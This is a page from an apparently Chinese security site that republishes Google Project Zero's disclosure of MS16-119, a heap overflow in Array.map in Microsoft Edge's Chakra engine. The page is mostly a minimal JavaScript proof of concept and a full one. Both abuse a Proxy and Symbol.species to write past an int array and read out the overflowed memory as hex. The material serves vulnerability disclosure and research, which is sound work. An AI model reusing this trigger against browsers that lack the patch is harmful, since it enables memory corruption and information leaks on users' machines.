首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge - Array.map Heap Overflow (MS16-119)
来源:Google Security Research 作者:Google 发布时间:2016-10-21  

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=923

There is a heap overflow in Array.map in Chakra. In Js::JavascriptArray::MapHelper, if the array that is being mapped is a Proxy, ArraySpeciesCreate is used to create the array that the mapped values are copied into. They are then written to the array using DirectSetItemAt, even through there is no guarantee the array is a Var array. If it is actually an int array, it will be shorter than this function expects, causing a heap overflow. A minimal PoC is as follows:

var d = new Array(1,2,3);
class dummy{

 constructor(){
  alert("in constructor");
  return d;
        }

}

var handler = {
    get: function(target, name){

 if(name == "length"){
  return 0x100;
 }
 return {[Symbol.species] : dummy};
    },

    has: function(target, name){
 return true;
    }
};

var p = new Proxy([], handler);

var a = new Array(1,2,3);

function test(){
 return 0x777777777777;

}

var o = a.map.call(p, test);

A full PoC is attached.
-->

<html><body><script>
var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{

 constructor(){
  alert("in constructor");
  return d;
        }

}

var handler = {
    get: function(target, name){

 if(name == "length"){
  return 0x100;
 }
 return {[Symbol.species] : dummy};
    },

    has: function(target, name){
       alert("has " + name);
 return true;
    }
};

var p = new Proxy([], handler);

var a = new Array(1,2,3);

function test(){
 return 0x777777777777;

}


var o = a.map.call(p, test);

var h = [];

for(item in o){

 var n = new Number(o[item]);
 if (n < 0){
  n = n + 0x100000000;
 }
 h.push(n.toString(16));

}

alert(h);

</script></body></html>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SAP NetWeaver KERNEL 7.0 < 7.5
·Microsoft Edge - Function.appl
·MiCasa VeraLite - Remote Code
·Microsoft Edge - Array.join In
·Oracle Netbeans IDE 8.1 - Dire
·Microsoft Edge - Spread Operat
·Hak5 WiFi Pineapple Preconfigu
·Windows Edge/IE - Isolated Pri
·Hak5 WiFi Pineapple Preconfigu
·Windows Edge/IE - Isolated Pri
·OpenNMS Java Object Unserializ
·Windows - NtLoadKeyEx Read Onl
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved